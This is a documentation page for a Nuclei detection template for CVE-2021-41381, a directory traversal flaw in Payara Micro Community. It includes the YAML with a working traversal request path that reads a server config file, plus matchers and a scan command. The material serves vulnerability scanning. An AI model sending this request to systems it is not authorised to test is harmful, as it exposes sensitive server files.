Payara Micro Community 5.2021.6 Directory Traversal
ID: CVE-2021-41381
Severity: high
Author: pikpikcu
Tags: cve2021,cve,payara,lfi,packetstorm
Description
Section titled “Description”Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability.
YAML Source
Section titled “YAML Source”id: CVE-2021-41381
info: name: Payara Micro Community 5.2021.6 Directory Traversal author: pikpikcu severity: high description: Payara Micro Community 5.2021.6 and below contains a directory traversal vulnerability. impact: | An attacker can access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information. remediation: | Upgrade to a patched version of Payara Micro Community or apply the necessary security patches to mitigate the directory traversal vulnerability. reference: - https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2021-054.txt - https://nvd.nist.gov/vuln/detail/CVE-2021-41381 - https://www.payara.fish - http://packetstormsecurity.com/files/164365/Payara-Micro-Community-5.2021.6-Directory-Traversal.html - https://github.com/ARPSyndicate/kenzer-templates classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2021-41381 cwe-id: CWE-22 epss-score: 0.11037 epss-percentile: 0.95128 cpe: cpe:2.3:a:payara:micro_community:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: payara product: micro_community tags: cve2021,cve,payara,lfi,packetstorm
http: - method: GET path: - "{{BaseURL}}/.//WEB-INF/classes/META-INF/microprofile-config.properties"
matchers-condition: and matchers: - type: word part: body words: - "payara.security.openid.default.providerURI=" - "payara.security.openid.sessionScopedConfiguration=true" condition: and# digest: 4b0a00483046022100c0d1889e5a0f552b14ff7b6cf6d50a406d052d92d249ad104ede7c10d14f7291022100dc388ab27e2ab7238be21b832ec203d90c47ca70a0519c6b9fc12bcdc95072a8:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2021/CVE-2021-41381.yaml"